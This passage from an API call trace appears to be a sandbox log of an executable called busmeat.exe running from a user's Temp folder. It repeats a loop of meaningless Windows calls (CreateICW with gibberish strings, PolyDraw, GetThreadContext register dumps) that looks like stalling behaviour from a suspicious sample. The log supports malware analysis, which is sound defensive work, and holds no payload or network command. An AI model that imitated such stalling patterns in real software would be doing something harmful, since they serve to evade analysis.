[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.132] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.133] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.133] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.133] GetConsoleCP () returned 0x0
	[0066.133] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.133] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.134] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.134] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.134] GetConsoleCP () returned 0x0
	[0066.134] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.134] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.136] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.136] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.136] GetConsoleCP () returned 0x0
